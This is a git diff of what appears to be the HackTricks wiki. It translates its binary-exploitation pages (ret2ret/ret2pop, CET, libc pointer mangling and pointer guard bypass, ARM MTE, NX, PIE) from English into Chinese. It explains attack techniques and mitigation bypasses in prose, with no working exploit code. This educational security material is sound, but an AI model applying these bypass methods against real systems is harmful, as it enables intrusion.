this overflow could transform it into `0xbfffff00` (note the last zeroed byte). +基本上,栈溢出通常是由字符串引起的,而**字符串在内存中以一个空字节结尾**。这允许尝试减少由栈中现有指针指向的位置。因此,如果栈包含 `0xbfffffdd`,这个溢出可以将其转换为 `0xbfffff00`(注意最后一个零字节)。 -If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached. +如果该地址指向我们在栈中的 shellcode,可以通过**向 `ret` 指令添加地址**使流程到达该地址,直到到达该地址。 -Therefore the attack would be like this: +因此,攻击将是这样的: - NOP sled - Shellcode -- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled) -- 0x00 added by the string modifying an address from the stack making it point to the NOP sled +- 从 EIP 覆盖栈,使用**指向 `ret` 的地址**(RET sled) +- 由字符串添加的 0x00 修改栈中的一个地址,使其指向 NOP sled -Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit. +通过[**这个链接**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c)你可以看到一个易受攻击的二进制文件,和[**这个链接**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c)中的利用。 ## Ret2pop -In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop ; ret`**.\ -This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change. +如果你能找到一个**完美的指针在栈中而不想修改**(在 `ret2ret` 中我们将最后一个最低字节更改为 `0x00`),你可以执行相同的 `ret2ret` 攻击,但**RET sled 的长度必须缩短 1**(因此最后的 `0x00` 覆盖完美指针之前的数据),并且**RET sled 的最后**地址必须指向**`pop ; ret`**。\ +这样,**完美指针之前的数据将从栈中移除**(这是受 `0x00` 影响的数据),并且**最终的 `ret` 将指向栈中的完美地址**而没有任何更改。 -Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit. +通过[**这个链接**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c)你可以看到一个易受攻击的二进制文件,和[**这个链接**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)中的利用。 ## References diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md index 22e1edbc2..7c6b372d5 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md @@ -2,24 +2,24 @@ {{#include ../../banners/hacktricks-training.md}} -## Control Flow Enforcement Technology (CET) +## 控制流强制技术 (CET) -**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action. +**CET** 是一种在硬件级别实现的安全特性,旨在阻止常见的控制流劫持攻击,如 **返回导向编程 (ROP)** 和 **跳转导向编程 (JOP)**。这些类型的攻击操纵程序的执行流,以执行恶意代码或以某种方式将无害代码片段链接在一起,从而执行恶意操作。 -CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**. +CET 引入了两个主要特性:**间接分支跟踪 (IBT)** 和 **影子栈**。 -- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations. -- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow. +- **IBT** 确保间接跳转和调用仅指向有效目标,这些目标被明确标记为间接分支的合法目的地。这是通过使用一组新的指令集来实现的,该指令集标记有效目标,从而防止攻击者将控制流转移到任意位置。 +- **影子栈** 是一种提供返回地址完整性的机制。它保持一个安全的、隐藏的返回地址副本,与常规调用栈分开。当函数返回时,返回地址会与影子栈进行验证,从而防止攻击者覆盖栈上的返回地址以劫持控制流。 -## Shadow Stack +## 影子栈 -The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks. +**影子栈** 是一个 **专门用于存储返回地址的栈**。它与常规栈一起工作,但受到保护并隐藏于正常程序执行之外,使攻击者难以篡改。影子栈的主要目标是确保对常规栈上返回地址的任何修改在使用之前都能被检测到,有效减轻 ROP 攻击。 -## How CET and Shadow Stack Prevent Attacks +## CET 和影子栈如何防止攻击 -**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code. +**ROP 和 JOP 攻击** 依赖于劫持应用程序控制流的能力,利用允许它们覆盖栈上指针或返回地址的漏洞。通过将流引导到现有代码小工具或返回导向编程小工具的序列,攻击者可以执行任意代码。 -- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary. -- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding. +- **CET 的 IBT** 特性通过确保间接分支只能跳转到被明确标记为有效目标的地址,使这些攻击变得更加困难。这使得攻击者无法执行分散在二进制文件中的任意小工具。 +- 另一方面,**影子栈** 确保即使攻击者能够覆盖正常栈上的返回地址,在从函数返回时,与存储在影子栈中的安全副本进行比较时,**差异将被检测到**。如果地址不匹配,程序可以终止或采取其他安全措施,从而防止攻击成功。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md index cacfd7f2f..c34b7dc69 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md @@ -4,41 +4,41 @@ ## Chunk Alignment Enforcement -**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin. +**Malloc** 在 **8字节(32位)或16字节(64位)分组**中分配内存。这意味着在32位系统中,块的结束应与 **0x8** 对齐,而在64位系统中应与 **0x0** 对齐。安全特性检查每个块在使用来自 bin 的指针之前是否在这些特定位置 **正确对齐**。 ### Security Benefits -The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully. +在64位系统中强制块对齐显著增强了 Malloc 的安全性,通过 **将假块的放置限制为每16个地址中的1个**。这使得利用攻击变得更加复杂,尤其是在用户对输入值的控制有限的情况下,使攻击更复杂且更难成功执行。 - **Fastbin Attack on \_\_malloc_hook** -The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security. +Malloc 中的新对齐规则也阻止了涉及 `__malloc_hook` 的经典攻击。之前,攻击者可以操纵块大小以 **覆盖此函数指针** 并获得 **代码执行**。现在,严格的对齐要求确保此类操纵不再可行,关闭了一个常见的利用途径,增强了整体安全性。 ## Pointer Mangling on fastbins and tcache -**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**). +**Pointer Mangling** 是一种安全增强,用于保护内存管理操作中的 **fastbin 和 tcache Fd 指针**。该技术有助于防止某些类型的内存利用战术,特别是那些不需要泄漏内存信息或直接相对于已知位置操纵内存位置(相对 **覆盖**)的战术。 -The core of this technique is an obfuscation formula: +该技术的核心是一个混淆公式: **`New_Ptr = (L >> 12) XOR P`** -- **L** is the **Storage Location** of the pointer. -- **P** is the actual **fastbin/tcache Fd Pointer**. +- **L** 是指针的 **存储位置**。 +- **P** 是实际的 **fastbin/tcache Fd 指针**。 -The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits. +在 XOR 操作之前将存储位置 (L) 向右移动12位的位移是关键。这种操纵解决了内存地址最低有效12位的确定性特性所固有的漏洞,这些位通常由于系统架构限制而可预测。通过移动位,预测部分被移出方程,从而增强了新混淆指针的随机性,从而保护免受依赖这些位可预测性的利用。 -This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process. +这个混淆指针利用了 **地址空间布局随机化(ASLR)** 提供的现有随机性,ASLR 随机化程序使用的地址,使攻击者难以预测进程的内存布局。 -**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers. +**Demangling** 指针以检索原始地址涉及使用相同的 XOR 操作。在这里,混淆指针被视为公式中的 P,当与未更改的存储位置 (L) 进行 XOR 时,结果是原始指针被揭示。这种混淆和解混淆的对称性确保系统能够高效地编码和解码指针,而不会产生显著的开销,同时大幅提高了对操纵内存指针攻击的安全性。 ### Security Benefits -Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways: +指针混淆旨在 **防止堆管理中的部分和完整指针覆盖**,这是安全性的重要增强。此功能以多种方式影响利用技术: -1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success. -2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier. -3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses. -4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints. +1. **防止字节相对覆盖**:之前,攻击者可以更改指针的一部分以 **在不知道确切地址的情况下将堆块重定向到不同位置**,这种技术在无泄漏的 **House of Roman** 利用中显而易见。通过指针混淆,此类相对覆盖 **在没有堆泄漏的情况下现在需要暴力破解**,大幅降低了成功的可能性。 +2. **增加 Tcache Bin/Fastbin 攻击的难度**:通过操纵 fastbin 或 tcache 条目来覆盖函数指针(如 `__malloc_hook`)的常见攻击受到阻碍。例如,一种攻击可能涉及泄漏 LibC 地址,将一个块释放到 tcache bin 中,然后覆盖 Fd 指针以将其重定向到 `__malloc_hook` 以进行任意代码执行。通过指针混淆,这些指针必须正确混淆,**需要堆泄漏以进行准确操纵**,从而提高了利用的门槛。 +3. **在非堆位置需要堆泄漏**:在非堆区域(如栈、.bss 段或 PLT/GOT)创建假块现在也 **需要堆泄漏**,因为需要指针混淆。这增加了利用这些区域的复杂性,类似于操纵 LibC 地址的要求。 +4. **泄漏堆地址变得更加困难**:指针混淆限制了 Fd 指针在 fastbin 和 tcache bins 中作为堆地址泄漏源的有效性。然而,未排序、小型和大型 bins 中的指针仍然未混淆,因此仍可用于泄漏地址。这一变化迫使攻击者探索这些 bins 以获取可利用的信息,尽管某些技术仍可能允许在泄漏之前解混淆指针,但有一定的限制。 ### **Demangling Pointers with a Heap Leak** @@ -47,34 +47,34 @@ Pointer mangling aims to **prevent partial and full pointer overwrites in heap** ### Algorithm Overview -The formula used for mangling and demangling pointers is: +用于混淆和解混淆指针的公式是: **`New_Ptr = (L >> 12) XOR P`** -Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves. +其中 **L** 是存储位置,**P** 是 Fd 指针。当 **L** 向右移动12位时,它暴露了 **P** 的最高有效位,由于 **XOR** 的特性,当位与自身进行 XOR 时输出为0。 **Key Steps in the Algorithm:** -1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged. -2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer. -3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered. -4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process. +1. **初始泄漏最高有效位**:通过将移位的 **L** 与 **P** 进行 XOR,您有效地获得了 **P** 的前12位,因为移位部分的 **L** 将为零,留下 **P** 的相应位不变。 +2. **恢复指针位**:由于 XOR 是可逆的,知道结果和其中一个操作数可以让您计算另一个操作数。这个特性用于通过将已知的位集与混淆指针的部分进行逐步 XOR 来推导出 **P** 的整个位集。 +3. **迭代解混淆**:该过程重复进行,每次使用从上一步中发现的 **P** 的新位来解码混淆指针的下一个部分,直到所有位都被恢复。 +4. **处理确定性位**:由于移位,**L** 的最后12位丢失,但它们是确定性的,可以在后处理时重建。 -You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) +您可以在这里找到该算法的实现:[https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) ## Pointer Guard -Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers. +Pointer guard 是一种在 glibc 中使用的利用缓解技术,用于保护存储的函数指针,特别是那些由库调用(如 `atexit()`)注册的指针。该保护涉及通过将指针与存储在线程数据中的秘密(`fs:0x30`)进行 XOR 并应用位旋转来打乱指针。该机制旨在防止攻击者通过覆盖函数指针来劫持控制流。 ### **Bypassing Pointer Guard with a leak** -1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`. -2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling. -3. **Exploiting Known Plaintexts:** - - **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers. - - **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function. -4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps. -5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations. +1. **理解 Pointer Guard 操作**:指针的打乱(混淆)是使用 `PTR_MANGLE` 宏完成的,该宏将指针与64位秘密进行 XOR,然后执行0x11位的左旋转。恢复原始指针的反操作由 `PTR_DEMANGLE` 处理。 +2. **攻击策略**:该攻击基于已知明文的方法,攻击者需要知道指针的原始版本和混淆版本,以推导出用于混淆的秘密。 +3. **利用已知明文**: +- **识别固定函数指针**:通过检查 glibc 源代码或初始化的函数指针表(如 `__libc_pthread_functions`),攻击者可以找到可预测的函数指针。 +- **计算秘密**:使用已知的函数指针(如 `__pthread_attr_destroy`)及其来自函数指针表的混淆版本,可以通过反向旋转(右旋转)混淆指针,然后与函数的地址进行 XOR 来计算秘密。 +4. **替代明文**:攻击者还可以尝试使用已知值(如0或-1)混淆指针,以查看这些是否在内存中产生可识别的模式,当这些模式在内存转储中找到时,可能会揭示秘密。 +5. **实际应用**:在计算出秘密后,攻击者可以以受控的方式操纵指针,从而在了解 libc 基地址和能够读取任意内存位置的情况下,基本上绕过多线程应用中的 Pointer Guard 保护。 ## References diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md index 43980bbca..baca1b5a5 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md @@ -2,82 +2,80 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code. +**Memory Tagging Extension (MTE)** 旨在通过 **检测和防止与内存相关的错误** 来增强软件的可靠性和安全性,例如缓冲区溢出和使用后释放漏洞。MTE 作为 **ARM** 架构的一部分,提供了一种机制,将 **小标签附加到每个内存分配** 上,并为引用该内存的 **每个指针分配一个相应的标签**。这种方法允许在运行时检测非法内存访问,显著降低利用这些漏洞执行任意代码的风险。 -### **How Memory Tagging Extension Works** +### **Memory Tagging Extension 的工作原理** -MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size. +MTE 通过 **将内存划分为小的固定大小块,每个块分配一个标签** 来操作,通常标签的大小为几位。 -When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block. +当创建一个指针指向该内存时,它会获得相同的标签。这个标签存储在 **内存指针的未使用位中**,有效地将指针与其对应的内存块链接起来。

https://www.youtube.com/watch?v=UwMt0e_dC_Q

-When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.** +当程序通过指针访问内存时,MTE 硬件会检查 **指针的标签是否与内存块的标签匹配**。如果标签 **不匹配**,则表示 **非法内存访问**。 -### MTE Pointer Tags +### MTE 指针标签 -Tags inside a pointer are stored in 4 bits inside the top byte: +指针内部的标签存储在顶部字节的 4 位中:

https://www.youtube.com/watch?v=UwMt0e_dC_Q

-Therefore, this allows up to **16 different tag values**. +因此,这允许最多 **16 种不同的标签值**。 -### MTE Memory Tags +### MTE 内存标签 -Every **16B of physical memory** have a corresponding **memory tag**. +每 **16B 的物理内存** 都有一个相应的 **内存标签**。 -The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM. - -ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory: +内存标签存储在 **专用 RAM 区域**(不供正常使用)。每 16B 内存标签有 4 位标签,最多占用 3% 的 RAM。 +ARM 引入了以下指令来操作这些专用 RAM 内存中的标签: ``` STG [], # Store Allocation (memory) Tag LDG , [] Load Allocatoin (memory) Tag IRG , Insert Random [pointer] Tag ... ``` +## 检查模式 -## Checking Modes +### 同步 -### Sync +CPU 在 **指令执行期间** 检查标签,如果存在不匹配,它会引发异常。\ +这是最慢且最安全的模式。 -The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\ -This is the slowest and most secure. +### 异步 -### Async +CPU **异步** 检查标签,当发现不匹配时,它会在系统寄存器之一中设置异常位。它比前一种模式 **更快**,但 **无法指出** 导致不匹配的确切指令,并且不会立即引发异常,给攻击者一些时间来完成攻击。 -The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack. - -### Mixed +### 混合 ??? -## Implementation & Detection Examples +## 实现与检测示例 -Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\ -The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer. +称为硬件标签基础的 KASAN、基于 MTE 的 KASAN 或内核中的 MTE。\ +内核分配器(如 `kmalloc`)将 **调用此模块**,该模块将准备使用的标签(随机)附加到分配的内核空间和返回的指针。 -Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**. +请注意,它将 **仅标记足够的内存粒度**(每个 16B)以满足请求的大小。因此,如果请求的大小为 35,而给定的块为 60B,它将用此标签标记前 16\*3 = 48B,**其余部分**将被 **标记** 为所谓的 **无效标签 (0xE)**。 -The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory. +标签 **0xF** 是 **匹配所有指针**。具有此指针的内存允许 **使用任何标签** 访问其内存(没有不匹配)。如果在被攻击的内存中使用此标签,可能会阻止 MET 检测到攻击。 -Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**. +因此,只有 **14 个值** 可以用于生成标签,因为 0xE 和 0xF 是保留的,这使得 **重用标签** 的概率为 1/17 -> 大约 **7%**。 -If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7% +如果内核访问 **无效标签粒度**,将会 **检测到不匹配**。如果访问另一个内存位置,如果 **内存有不同的标签**(或无效标签),将会 **检测到不匹配**。如果攻击者运气好,内存使用相同的标签,则不会被检测到。几率大约为 7%。 -Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**. +另一个错误发生在分配内存的 **最后粒度**。如果应用程序请求 35B,它将获得从 32 到 48 的粒度。因此,**从 36 到 47 的字节使用相同的标签**,但它们并未被请求。如果攻击者访问 **这些额外字节,将不会被检测到**。 -When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**. +当 **`kfree()`** 被执行时,内存会被重新标记为无效内存标签,因此在 **使用后释放** 的情况下,当再次访问内存时,将会 **检测到不匹配**。 -However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance). +然而,在使用后释放的情况下,如果同一 **块再次以相同的标签** 重新分配,攻击者将能够利用此访问,并且不会被检测到(大约 7% 的机会)。 -Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused). +此外,只有 **`slab` 和 `page_alloc`** 使用标记内存,但将来这也将在 `vmalloc`、`stack` 和 `globals` 中使用(在视频时,这些仍然可以被滥用)。 -When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives). +当 **检测到不匹配** 时,内核将 **恐慌** 以防止进一步的利用和攻击重试(MTE 没有误报)。 -## References +## 参考文献 - [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md index 376dfe6c4..9650fc10c 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it. +**No-Execute (NX)** 位,也称为 **Execute Disable (XD)** 在英特尔术语中,是一种基于硬件的安全特性,旨在 **减轻** **缓冲区溢出** 攻击的影响。当实施并启用时,它区分了用于 **可执行代码** 的内存区域和用于 **数据** 的区域,例如 **栈** 和 **堆**。核心思想是通过将恶意代码放入栈中并将执行流指向它,来防止攻击者通过缓冲区溢出漏洞执行恶意代码。 -## Bypasses +## 绕过方法 -- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary. - - [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) - - [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) - - **Ret2...** +- 可以使用诸如 [**ROP**](../rop-return-oriented-programing/) **来绕过** 此保护,通过执行已存在于二进制文件中的可执行代码块。 +- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) +- **Ret2...** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index 99a33743d..1cabb914c 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -2,30 +2,30 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses. +编译为 PIE 或 **位置无关可执行文件** 的二进制文件意味着 **程序每次执行时可以加载到不同的内存位置**,防止硬编码地址。 -The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**. +利用这些二进制文件的技巧在于利用 **相对地址**——程序各部分之间的偏移量即使绝对位置发生变化也保持不变。要 **绕过 PIE,您只需泄露一个地址**,通常通过使用格式字符串攻击等漏洞从 **栈** 中获取。一旦您有了一个地址,您可以通过它们的 **固定偏移量** 计算其他地址。 -A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\ -Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations. +在利用 PIE 二进制文件时,一个有用的提示是它们的 **基地址通常以 000 结尾**,这是因为内存页是随机化的单位,大小为 0x1000 字节。这种对齐可以是一个关键的 **检查,如果漏洞没有按预期工作**,指示是否已识别正确的基地址。\ 